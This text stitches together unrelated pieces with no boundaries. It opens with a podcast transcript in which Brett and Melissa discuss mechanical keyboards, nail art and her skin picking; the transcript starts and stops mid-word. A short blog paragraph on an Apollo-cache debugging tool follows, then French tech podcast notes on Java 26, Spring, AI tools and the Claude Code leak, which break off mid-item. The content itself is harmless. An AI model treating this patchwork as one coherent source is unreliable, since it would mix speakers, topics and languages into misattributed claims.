me either way. So, like, keeping things quiet is easy, and I focus well in silence. And then when Elle’s gone, I blast my music, and w- when I’m in the car, I blast my music, and then the rest of the time I live in the quiet place. Melissa: Mm-hmm. In The Quiet Place. Brett: Yeah. Melissa: Yeah, we have- something a little similar, but m- my husband and I have, uh… We have our his and hers kind of setup here in, in the, in our den, in our inner study. So he’s got his side and I’ve got my side. So we’re together, and he does a lot of grading papers, and he’s really good about putting his, his earbuds in and just tuning the whole world out. He’s… It’s fascinating to watch that man just [00:45:00] execute. I mean, I just am so envious of people who can just execute. But the, the, the, yeah, the sensory, it’s all about the sensory stuff for me when it comes to keyboards. I actually thought about… I don’t know how popular it would be, but I also thought about making a podcast, a video podcast, that would highlight the intersection of nail art and mechanical keyboards. Because I’ll tell you, that’s actually what… I’ve always loved mechanical keyboards, but yeah, the, the one that I had, someone had given me a, a Matias, and oh, it’s, it’s so loud, but it’s like high-pitched. It’s kinda sharp. And it was even kind of annoying to me after a while. And then it does not, it’s not a mechanical keyboard in that you can’t pull the switches out, so you’re kinda stuck with what you got. Like, you might be able to change the key caps if you could find them, but couldn’t change the switches. And something happened to the S key, and I was like, “All right, it’s over,” so. But I can’t get rid of them either, so one of these days I wanna have like a display of, of keyboards. [00:46:00] Nail Art And Picking Melissa: But what got me, what got me into saying, “Okay, I’m finally, I’m just gonna invest in a keyboard because it’s ergonomically important to me,” is I have… And I can’t pronounce it, so I’m not even gonna try, but there’s a condition, and it’s a self-diagnosed thing. But I, I am a picker. I pick my skin a lot. Um, I think it’s called derma something Anyway, so I wasn’t gonna try to pronounce it. But, uh, I’ve always had that condition since I was a kid. I didn’t even know it was a thing. I just thought everybody get, uh, picks. But then during the pande- during the pandemic, it got super bad. Like, I had, I had, um, some panic attacks and, you know, as a lot of probab- people probably did. But it got so bad to the point where I had picked my fingers and they were bleeding and they were throbbing and they were hurting. And I said to one of my kids, I said to my youngest, I said, “Can you just, like, if I, if I’m picking, can you just let me know?” And then I regretted doing that because then he took it on as this, like, full-time job, you know? And it kinda [00:47:00] gave him anxiety, and I thought, “Oh, okay, that, that was a bad thing to do.” So I s- I let him off the hook. I said, “No, you don’t have to tell me anymore.” Um, because, yeah, ev- even if I went to, like, just kinda, like, clean under my nail or something. So it was actually causing a real problem for the family that I was just picking so much. And it’s not just my fingers, it’s, like, other parts of my body. So I thought to myself, “Well, what can I do about this?” And so I started putting fake nail tips on. And I hate to be all, like… I don’t know, I’m not, I try not to be, like, a very vain person, but I really started kinda falling into the nail art side of things, and I, I just recently learned how to do gel and work with, um, uh, what’s it called? Uh, not resin. So I… Oh, that’s another ASMR thing. Do you like to watch resin pours? Brett: I do, actually, yes. Melissa: that’s… Okay, so if you like resin pours, if you like to watch the viscosity and the way the, the chemicals, like, form together and when they, when they mix colors in and stuff, [00:48:00] that’s what it’s like with nail art but on more of, like, a macro level because it’s, you know, you’re working with small stuff. Like, just, just recently I learned how to do… So I’m showing Brett this on, on camera, but I recently learned how to do the kind of nail polish that you take a magnet and you run the magnet along it, and it makes this, like, a cat’s eye. Brett: Yeah, that’s cool. Melissa: I love it. So, so that, so combining nail art then, and I thought, “Well, now I’ve got these long nails,” but all of my keyboards have been these flat, really low-profile keyboards. And, you know, I just, I started to dread it. So then I was kinda caught between a crossroads. Like, either I leave nails off and I can type really, really fast and have high accuracy with no nails, but then as soon as, as soon as I get, like, a little snag or something, then I start picking and then it’s just, it’s all over then. Or I try to find a way to work with these nails. So that’s what I started thinking, “Well, maybe if I had higher keys.” And so then I just, yeah, rabbit hole. [00:49:00] Went down the rabbit hole, and I’ve, I’ve just kinda been there ever since. And, uh, it really, I think, uh… Let’s see. How long ago did this start? It’s only been about maybe like six months or something like that, so. Keyboard Layout Rabbit Hole Melissa: But in that time so I’ve started, um, building a collection of switches. So I’ve been really interested in both the key caps and the switches. Um, I’ve got my baseboards. I like my Royal Kludge the best. This is… I’m gonna show Brett my Royal Kludge. So, so this is what it’s looking like right now. Brett: Yeah. Melissa: It is very purpley. Um, I did post some pictures. I can… I don’t know if you do pictures in show notes, but I could take some pictures for you It’s got a knob. It’s got, um… Let me see if I can do it real Brett: Do you use the knob. I have a couple keyboards with knobs and even a joystick, and I never actually use them Melissa: Good question. Um, I, I use it, I try to use it for volume at [00:50:00] times, and that’s probably what I use it for the most. But this one does have a… Let’s see if I can get this into focus here, backwards and upside down. It’s gonna be upside down, but you see how you can put, you can put your logo Brett: Oh, yeah. Nice. Melissa: got my The Mac Mommy little logo on there. Otherwise, it gives you the time in military format, so that’s kind of handy to have. Um, but yeah, it’s… To be honest, I, I love the, I love this Royal Kludge because it’s nice and heavy, and I love the form factor. It’s got a number pad, um, because I’m, because I am a grown-ass adult and I need a number pad. Um, but it’s nice and heavy. It doesn’t, it doesn’t move around my desk a lot. I kind of have to type, like, kind of crooked, ’cause that’s just the way my neck goes to the wrong way and stuff like that. So I like being able to fit it on my desk. I have a, I had a larger one made by Red, uh, what is it? Redragon. This is the one that I started [00:51:00] out with. Gonna make lots of noise here. But as you can see, this one is way bigger. And it was, as much as I liked it, I mean, I fell in love with it, but what was happening was my accuracy was, like, really thrown off because I fe- I kept feeling like it just needs to be, like, a couple centimeters to the right or a couple centimeters to the left. It just wasn’t centered very well. So this one, my husband gets all the hand-me-downs, so that one went over onto his desk. Uh, and then I also have a baby keyboard here, and this is another Redragon. This is my little mini one. Brett: that’s, that’s the kind of keyboard I mostly use, like a 70% keyboard. Melissa: Yeah, I think this one’s even 60. Um… Brett: My– The one I’m using right now is, uh, 60. There’s no, there’s no function row, there’s no arrow, there’s no keypad or, like, arrow pad. Um, Melissa: No [00:52:00] arrows? How do you live without arrows? Oh, do you, you mapped your keys to something Brett: so it looks like this, Melissa: nice. I love the Brett: that the, the space bar is split in two. Yeah, my, my, my partner says it looks like, uh, gay ’80s. It’s all pink and blue and purple. Um, but the, the space bar is split, and the right half of mine functions as something called a mod key, and when I hold that down, then my I, J, K, and L keys become arrow keys. Melissa: Oh, wow. Brett: once you get used to it, you never have to take your hand off the home row. Melissa: Oh my God, that must be amazing. Brett: It– Yeah, once you get used to it, it, it’s so… Like, g- moving to a keyboard that doesn’t have that is kind of tortuous. On my MacBook Pro, I have remapped it using Karabiner so that Melissa: [00:53:00] That’s what I’m using. Brett: if I hold, the semicolon down with my pinky, then H-I-J-K-L become, Melissa: Oh, nice. Brett: become arrow keys, so I still don’t have to move my hand all the way down and to the right. Like, that’s such a inefficient movement that then I have to, like… Because I don’t have great feeling in my fingers, so finding, on a low-profile keyboard, finding the, the homing buttons again Melissa: Oh, do you use the humming buttons? See, that’s the thing, I was never taught that. I mean, I took like a ty- I took like a typewriting class back in high school, and I just didn’t like it. I, I just taught myself. I just… I’m an autodidact that way, so I just taught myself. Brett: my dad, back in 1984, we had a typing program on our PCjr, and I Melissa: It wasn’t Mavis Beacon, was it? Brett: remember. I don’t remember. All I know is, like, It taught you touch typing, and it would give you [00:54:00] these lessons, and you would basically just mirror what was on screen. And at the age of seven, I was typing at about 68 words per minute on an, on an old IBM PCjr keyboard. Um, got a lot faster through high school and everything. But yeah, I was, I was, from day one, I was raised to be a touch typist, and, and I took all the classes they had in school. Melissa: But you still touch Brett: labs. Yeah. Melissa: Uh-huh, yeah. So you don’t do the home rows. Brett: No, that is touch Melissa: Oh, touch typing, so you do feel… for the bumps. Brett: Yeah, I feel for the bumps, and then I just, like, my f- my key, my fingers never really leave the Melissa: Oh, yeah. See, I wish I could do Brett: centered home row. Yeah. It’s, it, it’s good. Um, Melissa: And you’re using the split, so my gosh. Brett: What– You get used to that too. Um, like, [00:55:00] I can’t do it with the split far apart. I’ve seen people use, like, splits, like, way out to the sides, and I can’t, my, my brain doesn’t do that. Like, my hands have to be within, like, six inches of each other. Melissa: I always thought, it would be so cool to have something where you could have it, like, raised up like this, right? And use your hands sideways. Brett: Yeah. Well, that’s I mean, that’s essentially, I have, on the bottom of this keyboard, I have these risers. Melissa: Oh, uh-huh. Oh, Brett: So it sits, right now I have it at about a 45-degree tent, tent, tent. Um, but it can go up to more like an 80-degree tent, where you’re actually Melissa: Wow. Brett: uh, almost like you’re clapping, you’re typing. Um, I don’t Melissa: of that. I have a, a, handshake mouse. Brett: Vertical mouse. Melissa: You like… Is that what you have for a mouse too? Brett: no, I, I love Melissa: Trackballs. Oh, trackpads. Oh, okay. Brett: Apple’s Magic Trackpad changed my life. I’ve never used– I’ve never gone back to a [00:56:00] mouse since the first Magic Trackpad came out. Melissa: So you’re all about the gestures then? Brett: yeah, Melissa: Yeah. Yeah, yeah. That’s great. Brett: Bet- bet- better touch tool for the win. Melissa: You know what it is for me, is because of the type of work that I do, and this is very much true for both of us, you do these things because of the type of work that you do. The type of work that I do, I’m in everybody’s homes, so I have to ty- I have to be able to type and use their mouse and, I mean, it’s actually a very dirty job. So I keep hand wipes with me everywhere. Um, that, that was why during the pandemic I was like, “I am not coming to your house and I am not touching the stuff that you just picked your nose and…” Yeah, mm-mm. But, so, so i- it’s been kind of keeping me almost like a purist in a way as far as keyboards have gone all these years. I, I finally just kind of let go and embraced this recently, th- which is why I’m so excited and why I’m just kind of nerding out on it, because when, when I worked [00:57:00] in, like, I’ll call it the industry, um, I got my f- my start in prepress. So I worked in prepress, I was a typesetter, and we had… That’s what I kind of miss. We had the old clunky beige keyboards, and I had my muscle memory such that I think my o- my Option key would have, like, the indentation of my nail on it. You know? ‘Cause I had, just like you have, keys that are programmed. I could… I was a Quark queen. I don’t know if you’re familiar with QuarkXPress? Brett: Oh, yeah. Yeah. I was a graphic designer. I I know Quark. Melissa: Yeah, I loved it. I was… And, and I used it back in the OS 9 days, OS 7 really, is when I started out. Uh, I did not like the OS X vers- OS 10 version of Quark. Did not like it at all. Brett: No, but that’s Melissa: it was slow. Brett: Adobe came out with, what was, what was Adobe’s… InDesign. Yeah. By the time I had started, by the time I had started my own ad agency, we were all InDesign. Melissa: Oh, [00:58:00] nice. Okay. I mean, it was a Brett: and none of the, none of the print shops expected Quark files Melissa: Yeah. Oh, it was so expensive. I remember I had to buy it when I was in college, and I remember it cost, like, $800. I’m probably still paying for that, damn it, in interest. Yeah, so that, that’s how I got my start originally, and that’s how I was doing… I, I went to… So I have, I have a Bachelor of Fine Arts. I went to college in order to be a designer. I wanted to be a designer designer, and that’s what I, what I thought I was good at and thought that I liked doing, ’cause, you know, “Oh, you’re a girl. Go to art school. You like to draw.” You know? I’m always bitter about that because I really wish that I would’ve been able to go… I mean, this was, you know… I’m, I’m 51, so this was back in the day where girls, girls don’t do computers and girls don’t do coding. G- girls don’t do computer science. They didn’t even call it computer science. They didn’t even call it graphic design back then. It was commercial art. Um, so I studied that and, you know, I liked it ’cause I thought, “Well, this is what I could, I could take my art and make [00:59:00] a living into it.” And then fast-forward, um, I just started to fall in love with the technical troubleshooting side of things. So as, as good as I was at the technical typesetting and the technical, like, putting prepress things together, you know, um, uh, key sheets and s- you know, things like that. Do you remember, was there, uh, did you ever use a program called Quick Keys? That was one of the ones Brett: familiar. Melissa: you could map your own keys to things. So w- when I was in prepress and doing typesetting, I used that program and I, I mapped all my keys, and I had all these quick keys and stuff so I could go really, really fast, you know? So when they wanted something done fast, they gave it to me, and I could just fly through documents with this. But then as people learned that I was good at this kind of stuff and troubleshooting, they’re like, “Oh, hey, Roger needs, you know, has a problem. Can you go help him?” So I’d go over to his cubicle, I sit down, and he’s got nothing. You know, he’s got [01:00:00] no quick keys, no nothing, and you just kinda get lost because your muscle memory just adapts to it. And I couldn’t help people the way… And, and that was what it was about for me. I really liked more helping people and troubleshooting and the technology side of things than the actual design process. So I kind of went to the other side with it. And so I just kind of, like, vowed that, okay, I’m not gonna do any kind of, like, customization on my own workstation because then I’ll, my, my muscle memory will map to it, and then when I go to sit down to help somebody else, I won’t… You know, I’ll be so much in my own world that I won’t be able to help them. And so I just kind of, like, remained a, a pu
As we're getting close to rounding out the Beta period of the 2.0 editor, we're trying to close out any bugs we find or users report quickly. They could be browser-support related, network conditions related, account capability related, or just bugs in how the 2.0 editor and technology behind it works. It's complicated enough that the best way to debug things is to see exactly what the user sees when they have trouble. A very cool side effect to having built the 2.0 editor with Apollo is that we have a nearly complete look at what is happening in the editor by virtue of the Apollo Cache (we talked about what that is here). We built a tool that can export that as JSON data, and we can load it locally to see exactly what the user sees. It's a bit fancier than that, doing things like saving browser console error logs and stuff, but that's the gist of it. Time Jumps
Java 26 est là, GraalVM cartonne chez Trivago (43 à 12 réplicas !), OpenJDK interdit le code généré par LLM, Spring et Quarkus enchaînent les releases. Côté IA : ADK 1.0, A2A, Lyria 3 chante (mal ?), Yann LeCun lance Ami Labs et ses World Models. Mythos d'Anthropic fait trembler la sécu, Claude Code a leaké son source, et les git worktrees envahissent vos terminaux. Bonus : la mort annoncée de l'IDE, vagues de licenciement chez Oracle et Block, et nos voix toutes clonées. Bon week-ends de mai ! Enregistré le 7 mai 2026 Téléchargement de l'épisode LesCastCodeurs-Episode-340.mp3 ou en vidéo sur YouTube. News Langages Retour d'expérience d'une migration vers graalVM chez Trivago https://medium.com/graalvm/inside-trivagos-graalvm-migration-native-image-for-graphql-at-scale-912bca9df841 La passerelle GraphQL de Trivago (point d'entrée de tout le trafic vers 48 microservices) souffrait de pics de timeout au démarrage JVM Résultats spectaculaires après migration vers GraalVM Native Image : réduction des réplicas de 43 à 12, CPU de 15 à 5 cœurs, images Docker plus légères Obstacles techniques : incompatibilité Log4j → migration vers Logback, remplacement de Mockk par Testcontainers, compilation CI/CD très gourmande Netflix DGS et d'autres librairies manquaient de support GraalVM → l'équipe a contribué des correctifs upstream en open source Approche recommandée : commencer par les services les moins complexes, investir massivement dans les tests automatisés À la 14e migration, le processus était si rodé qu'il allait plus vite que la toute première tentative OpenJDK Interim Policy on Generative AI - https://openjdk.org/legal/ai OpenJDK adopte une politique intérimaire interdisant toute contribution incluant du contenu généré par des LLMs, modèles de diffusion ou systèmes deep-learning Le périmètre est large : code source, texte, images dans les dépôts Git, pull requests GitHub, emails, pages wiki et issues JBS Les contributeurs peuvent utiliser les outils d'IA de manière privée pour comprendre, déboguer et relire le code OpenJDK, mais ne peuvent pas contribuer le contenu généré Trois risques justifient cette politique : surcharge des relecteurs face au code plausible mais incorrect, risques de sûreté/sécurité pour une plateforme critique, et risques de propriété intellectuelle (l'OCA exige que les contributeurs possèdent les droits IP de leurs contributions) Même éditer partiellement du code AI-généré ne le rend pas acceptable à la contribution Oracle, sponsor corporatif d'OpenJDK, travaille sur une politique complète à soumettre au Governing Board GraalVM Native Image et la Closed-World Assumption en Java https://pvs-studio.com/en/blog/posts/java/1357/ Un bon article de rappel du contexte de closed world en Java GraalVM Native Image compile les applications Java en exécutables natifs statiques, sans JVM au runtime. La JVM fonctionne en monde ouvert : les classes sont chargées à la demande, les appels sont des références symboliques résolues dynamiquement. Native Image impose la "closed-world assumption" : tous les chemins d'exécution doivent être connus à la compilation. Les fonctionnalités dynamiques Java (réflexion, proxies, chargement de classes) créent des chemins cachés invisibles à l'analyse statique. C'est pourquoi Native Image exige des fichiers de configuration explicites pour la réflexion, les proxies, les ressources et la FFM API. L'article illustre le problème avec la Foreign Function & Memory API pour appeler printf natif : fonctionne sur JVM, échoue en Native Image sans config. Inclure tout le bytecode accessible serait inutilisable : binaire géant, compilation très lente, et la réflexion nécessite des métadonnées précises. La configuration n'est pas un défaut de conception mais une conséquence logique du passage du dynamique au statique. Java 26 : les nouveautés https://foojay.io/today/java-26-whats-new/ Java est le langage de la JVM, publié tous les 6 mois depuis Java 9 ; Java 26 est une version non-LTS avec 10 JEPs. JEP 500 : protection des champs final modifiés par réflexion profonde, avec des avertissements configurables. JEP 504 : suppression définitive de l'API Applet, plus supportée par les navigateurs. JEP 516 : le cache AOT (Project Leyden) fonctionne désormais avec n'importe quel garbage collector. JEP 517 : support HTTP/3 dans le client HTTP, HTTP/2 reste le défaut mais HTTP/3 est accessible à la demande. JEP 522 : amélioration du débit du GC G1 en réduisant la synchronisation entre threads applicatifs et threads GC. Nouveau support des UUIDv7 via UUID.ofEpochMillis(), naturellement triables et adaptés aux identifiants de bases de données. Process devient AutoCloseable, utilisable dans un try-with-resources. Aucune fonctionnalité en preview n'est graduée en standard ; Structured Concurrency en est à sa 6e preview. Librairies Guillaume a créé une petite librairie Java sans dépendance pour extraire le JSON d'une réponse d'un LLM un peu verbeux https://glaforge.dev/posts/2026/03/22/extracting-json-from-llm-chatter-with-jsonspotter/ Les LLM génèrent souvent du JSON, mais il est parfois entouré de bla-bla et/ou contient des erreurs (ex: commentaires, virgules finales) qui bloquent les parseurs JSON standards. Guillaume a créé une petite librairie légère sans dépendance pour localiser et extraire la structure la plus longue ressemblant à du JSON (même malformé) On peut ensuite passé cette chaîne à un parseur "lénient" (plus tolérant) comme Jackson pour ensuite avoir de bons vieux objets Java fortement typés Librairie dispo sur Maven Central ADK Java sort sa version 1.0 (Agent Development Kit par Google) https://developers.googleblog.com/announcing-adk-for-java-100-building-the-future-of-ai-agents-in-java/ ADK est un framework open source de Google pour créer des agents IA, initialement en Python, maintenant multi-langages (Python, Java, Go, Typescript). Nouvelles fonctionnalités majeures : Outils puissants : GoogleMapsTool, UrlContextTool, ContainerCodeExecutor, VertexAiCodeExecutor, abstraction ComputerUseTool. Architecture de plugins centralisée : Nouveau conteneur App pour gérer les Plugins à l'échelle de l'application (ex: LoggingPlugin, GlobalInstructionPlugin). Context engineering amélioré : Compaction d'événements pour gérer la taille des fenêtres de contexte (résumé et rétention). Human-in-the-Loop (HITL) : Supporte les workflows ToolConfirmation pour approbation humaine des actions d'agent. Services de session et de mémoire : Contrats clairs pour la gestion de l'état (InMemory, VertexAI, Firestore) et la mémoire à long terme. Support Agent2Agent (A2A) : Collaboration native entre agents distants de différents frameworks via le protocole A2A. Dans cet autre article, Guillaume partage comment il a développé l'application Comic Trip montrée dans la vidéo YouTube et qui utilise ADK 1.0 https://glaforge.dev/posts/2026/03/30/building-my-comic-trip-agent-with-adk-java-1-0/ Nouvelle version du SDK Java pour Agent2Agent Protocol, avec le support de la version 1.0 de la spécification https://medium.com/google-cloud/a2a-java-sdk-1-0-0-beta1-released-e83c414b34cc Alignement avec la version 1.0 de la spécification Nouveau groupId org.a2aproject.sdk et package org.a2aproject.sdk Protocoles de transport : support complet et équivalent pour JSON-RPC, gRPC et HTTP+JSON/REST. Gestion des erreurs : introduction de codes d'erreur et détails structurés pour une meilleure observabilité. Optimisation HTTP : ajout d'en-têtes de cache pour les métadonnées des agents (Agent Card). Flexibilité du client HTTP : support par défaut du JDK HttpClient, avec option Vert.x pour les environnements Quarkus. Nouvelles fonctionnalités techniques : méthode DataPart.fromJson() pour la création simplifiée d'objets depuis du JSON brut. Prochaines étapes (v1.0.0.GA) : support simultané des versions 1.0.0 et 0.3.0 du protocole pour assurer l'interopérabilité. JPA 4.0 Milestone 2 : nouvelles fonctionnalités pour Jakarta Persistence https://in.relation.to/2026/04/23/JPA-4-M2/ Jakarta Persistence (JPA) est la spécification standard Java pour le mapping objet-relationnel (ORM), implémentée notamment par Hibernate. JPA 4.0 M2 est la deuxième milestone de la prochaine version majeure de la spécification, annoncée par Gavin King. Construction de requêtes Criteria à partir de chaînes JPQL, offrant plus de flexibilité dans la composition dynamique des requêtes. Nouveaux types d'expressions spécialisés (TextExpression, NumericExpression) pour simplifier l'écriture des requêtes Criteria. Nouvelle interface FetchOption pour contrôler explicitement la stratégie de chargement des associations, dont un BatchSize intégré. Nouvelle annotation @EntityListener qui découple les classes entités de leurs listeners, supprimant les dépendances à la compilation. Les listeners peuvent cibler plusieurs types de callbacks et s'appliquer globalement à toute l'unité de persistance. Introduction de FlushModeType.EXPLICIT et QueryFlushMode pour un contrôle plus fin de la synchronisation avec la base de données. La méta-annotation @Discoverable permet de placer des annotations comme @NamedQuery sur n'importe quelle classe ou interface. Améliorations du DDL via @Index amélioré et clarifications de la spécification via la javadoc. Quarkus 3.35 : tree-shaking, PGO et AOT Semeru https://quarkus.io/blog/quarkus-3-35-released/ Quarkus est un framework Java cloud-natif optimisé pour GraalVM et HotSpot, conçu pour les microservices et les environnements conteneurisés. Nouveau JAR tree-shaking expérimental : analyse des dépendances à la compilation pour supprimer les classes inutilisées. Sur le CLI Quarkus, cela supprime plus de 6 000 classes et économise environ 18 Mo (39,5 %). Support du Profile-Guided Optimization (PGO) pour les builds natifs via quarkus.native.pgo.enabled=true. Le PGO est une fonctionnalité Oracle GraalVM, non disponible dans la Community Edition. Support de l'AOT IBM Semeru : le démarrage passe de ~380 ms à ~190 ms dans les premiers tests. Nouvelle extension quarkus-reactive-transactions : support de @Transactional pour les méthodes Hibernate Reactive retournant Uni. Configuration CORS dédiée pour l'interface de management, indépendante de l'interface HTTP principale. Les tests n'utilisent plus les System Properties pour la propagation de configuration, facilitant la parallélisation future. Le serializer jackson sans reflection n'est pas le default du aux retours de cas limites, encore du travail This Week in Spring - 21 avril 2026 https://spring.io/blog/2026/04/21/this-week-in-spring-april-21-2026 Spring Framework 6.2.18 et 7.0.7 corrigent trois failles de sécurité : DoS via fichiers multipart WebFlux, empoisonnement de cache de ressources statiques, et DoS sur Windows. Le support open source de Spring Framework 5.3.x et 6.1.x est terminé, la migration est recommandée. Spring Data 2026.0.0-RC1 introduit l'upsert (MERGE/INSERT ON CONFLICT) dans l'API Template de Spring Data Relational. Spring Data ajoute un RedisMessageSendingTemplate pour la cohérence avec les listeners Redis, et une optimisation de réinitialisation de caches en un seul appel. Spring AI introduit une Session API (série Agentic Patterns, partie 7) : architecture event-sourcée pour la mémoire des agents IA. La Session API supporte la compaction turn-safe, l'isolation de sous-agents en parallèle, et la persistence JDBC (PostgreSQL, MySQL, MariaDB, H2). Elle vise Spring AI 2.1 (novembre 2026) et remplacera à terme l'API ChatMemory. Spring Vault 4.1.0-RC1 et 4.0.2 sont disponibles. Netflix a présenté son usage de Java, Spring Boot et Spring AI dans une vidéo. This Week in Spring - 28 avril 2026 https://spring.io/blog/2026/04/28/this-week-in-spring-april-28-2026 Cette série hebdomadaire de Josh Long compile les nouveautés de l'écosystème Spring : articles, outils, podcasts et annonces de la communauté. Spring Boot 4 introduit un package natif de résilience org.springframework.resilience avec une nouvelle API de retry qui remplace les approches fragiles via Spring Retry ou Resilience4j. L'API retry native de Spring Boot 4 a des noms d'attributs et sémantiques différents des anciennes bibliothèques, rendant les tutoriels pré-2025 obsolètes et sources de bugs silencieux. Le SDK Spring AI pour Amazon Bedrock AgentCore est disponible en GA : il intègre les capacités AgentCore dans Spring AI via annotations et auto-configuration. Le SDK AgentCore gère automatiquement le contrat runtime AgentCore : endpoint /invocations, health check /ping, SSE avec backpressure. Il offre mémoire court terme (sliding window) et long terme (sémantique, préférences, résumé, épisodique), ainsi que des outils pour navigateur et exécution de code en sandbox. Un plugin Maven (Nullability Maven Plugin) simplifie l'intégration de JSpecify et NullAway pour enforcer la null-safety à la compilation dans les projets Java. Le plugin génère automatiquement les fichiers package-info.java par package et configure le compilateur pour traiter les violations de nullabilité comme des erreurs. Josh Long et Dr. Venkat Subramaniam ont co-présenté à Voxxed Days Amsterdam sur "Intelligent Kotlin", avec un épisode de podcast associé. Cloud Amazon S3 Files https://aws.amazon.com/about-aws/whats-new/2026/04/amazon-s3-files/ Amazon S3 Files est un nouveau service donnant un accès système de fichiers direct aux données stockées dans les buckets S3 Basé sur la technologie Amazon EFS, il supprime la barrière entre stockage objet et interface système de fichiers sans dupliquer les données Débit en lecture pouvant atteindre plusieurs téraoctets par seconde ; des milliers de ressources de calcul peuvent y accéder simultanément Les données restent accessibles via les deux interfaces : S3 API classique et système de fichiers standard, sans migration nécessaire Cas d'usage : agents IA pour la persistance de mémoire entre pipelines, équipes ML sans staging, simplification des data lakes Disponible dans 34 régions AWS Data et Intelligence Artificielle Comment générer de la musique et des clips audio en Java avec le modèle Lyria 3 https://glaforge.dev/posts/2026/03/25/generating-music-with-lyria-3-and-the-gemini-interactions-java-sdk/ Génération musicale avec Lyria 3 (DeepMind) et le SDK Java Gemini Interactions. Lyria 3 : modèle d'IA générative pour créer musique avec paroles ou pistes instrumentales. Utilisation via le SDK Java de l'API Gemini, nécessite une clé API Gemini. Deux versions de modèle Lyria 3 : lyria-3-clip-preview : Clips courts (30s), extraits. lyria-3-pro-preview : Chansons complètes (jusqu'à 3 min), structurées. Personnalisation via les prompts : Fournir ses propres paroles ou les faire générer. Contrôler la structure de la chanson ([Intro], [Verse], [Chorus], [Outro]). Générer des morceaux instrumentaux uniquement. Utiliser des images comme source d'inspiration (modèle multimodal). Sortie : Audio (MP3) et texte (paroles/structure) directement, sans décodage complexe. Facilite l'intégration de la génération musicale dans les applications Java. Les world model, la prochaine étape pour les IA https://www.lepoint.fr/sciences-nature/comment-le-commando-de-yann-le-cun-se-prepare-a-ringardiser-les-geants-mondiaux-de-lia-depuis-paris-OZVUWTDYBNE25C6WF44265ZQKE/ Yann LeCun a quitté Meta FAIR pour créer AMI Labs (Advanced Machine Intelligence) basée à Paris Sa thèse : les LLMs ne mèneront pas à l'intelligence générale, la vraie IA doit partir de la compréhension du monde physique AMI Labs a levé 1,03 milliard de dollars en seed (le plus grand seed round de l'histoire européenne) à 3,5 milliards de valorisation Les world models apprennent à prédire et comprendre la réalité physique plutôt qu'à prédire le prochain token d'une séquence Slogan d'AMI : "Real intelligence does not start in language. It starts in the world." Paris comme base stratégique pour challenger la Silicon Valley dans la prochaine rupture de l'IA Debezium 2026 : résultats du sondage communautaire https://debezium.io/blog/2026/04/27/debezium-2026-survey-results/ Debezium est un outil de Change Data Capture (CDC) open source qui capture les modifications de bases de données en temps réel pour les diffuser vers des systèmes comme Kafka. 98,6% des répondants utilisent Debezium activement ou prévoient de le faire dans l'année, avec 91,3% déjà en production. 63,8% des déploiements tournent sur Kubernetes, 60,9% utilisent Kafka Connect auto-géré, et 17,4% restent sur des VMs ou bare metal. Helm charts est l'approche dominante pour la gestion de configuration, souvent combiné avec GitOps, CI/CD, Ansible ou Terraform. PostgreSQL domine les connecteurs utilisés à 69,6%, suivi de MySQL (33,3%), SQL Server (29%) et Oracle (27,5%). Les volumes de changements capturés vont de 1-25 modifications par minute jusqu'à 1-2 millions par minute selon les environnements. Infinispan rejoint l'écosystème OGX comme fournisseur de stockage vectoriel https://infinispan.org/blog/2026/04/17/infinispan-joins-ogx-ecosystem OGX (anciennement Llama Stack) est un serveur API agentique open source pour construire des applications d'IA complètes. OGX compose des fournisseurs d'inférence, des stores vectoriels, des backends de sécurité, des runtimes d'outils et du stockage de fichiers en un seul serveur déployable. OGX se positionne comme une alternative à l'API OpenAI, déployable sur diverses infrastructures et modèles. OGX cible les workflows RAG (Retrieval-Augmented Generation) et les applications agentiques. Infinispan s'y intègre comme fournisseur de vector IO, apportant recherche vectorielle, par mots-clés et hybride. Je n'ai pas entendu parlé de ce renommage, vous le voyez dans vos deploiements ? Outillage cmux un nouveau terminal basé sur Ghostty spécialisé pour les coding agents https://cmux.com/ Application macOS native construite sur le moteur de rendu Ghostty (libghostty), offrant une accélération GPU pour une fluidité maximale Conçu spécifiquement pour le multitâche et les workflows assistés par IA, avec des onglets verticaux affichant la branche Git, le répertoire et les ports actifs Intègre des notifications qui illuminent les panneaux lorsqu'un agent IA (Claude Code, Codex, etc.) nécessite l'attention de l'utilisateur Propose un navigateur web intégré et scriptable qui peut être affiché en écran scindé à côté du terminal via une API Alternative moderne à tmux, ne nécessitant pas de fichiers de configuration complexes ou de préfixes de touches pour la gestion des vitres et des sessions Supporte nativement tous les agents de codage en ligne de commande et permet l'automatisation via une API socket et une interface CLI dédiée Git Worktree comme un chef https://www.metal3d.org/blog/2026/git-worktree-comme-un-chef/ Article par Patrice Ferlet Git Worktree: Travailler sur plusieurs branches simultanément via des répertoires distincts. Évite git stash ou clones multiples pour le changement de contexte rapide. Méthode "bare" (recommandée): Cloner le dépôt en mode bare (ex: .bare). Lier le dossier racine au dépôt bare via un fichier .git. Configurer le remote tracking pour voir toutes les branches distantes. Ajouter des worktrees pour chaque branche (git worktree add ). Avantages: Économie d'espace, source de vérité unique (un git fetch met tout à jour), hooks/configs partagés, sécurité. Conseils: Ne jamais faire de git checkout à l'intérieur d'un worktree. git fetch --all depuis n'importe quel worktree pour tout mettre à jour. git worktree add --detach pour tester des merges temporaires sans créer de branche. Supprimer: git worktree remove puis git worktree prune. Un script wtree est fourni pour automatiser l'initialisation du setup "bare". Améliore considérablement le workflow. L'IDE meurt et vite https://x.com/jdegoes/status/2036931874057314390?s=46&t=C18cckWlfukmsB_Fx0FfxQ Des leaders techniques prédisent la fin rapide de l'IDE traditionnel, remplacé par des interfaces conversationnelles agentiques Le changement de paradigme : le développeur n'écrit plus des lignes de code mais exprime son intention et supervise des agents autonomes Des outils comme Claude Code, Copilot et Cursor transforment déjà radicalement les workflows de développement quotidiens L'IDE centré sur l'éditeur de code perd sa raison d'être quand l'agent lit, modifie et structure le code de manière autonome La transition est comparable au passage du desktop au mobile : les pratiques établies depuis 30 ans remises en question en quelques mois Le source de Claude Code a leaké via probablement le codemap et un site decrit sont fonctionnement https://ccunpacked.dev/ Le 31 mars 2026, Anthropic a accidentellement inclus les sourcemaps dans un package npm de Claude Code, exposant ~512 000 lignes de TypeScript La fuite n'était pas un piratage mais une erreur humaine : un "*.map" oublié dans .npmignore Le site ccunpacked.dev a été lancé pour analyser et visualiser le code source décompressé Le code révèle un agent background permanent nommé "KAIROS", un mode furtif pour cacher les contributions des employés Anthropic à l'open source, et 44 feature flags cachés Une fonctionnalité inédite "Buddy" (animal de compagnie électronique dans le terminal) et un mode "dream" pour l'idéation continue ont été découverts Anthropic a confirmé : "Aucune donnée client sensible n'était impliquée. Erreur humaine dans le packaging de la release." Gemini CLI passe aux agents 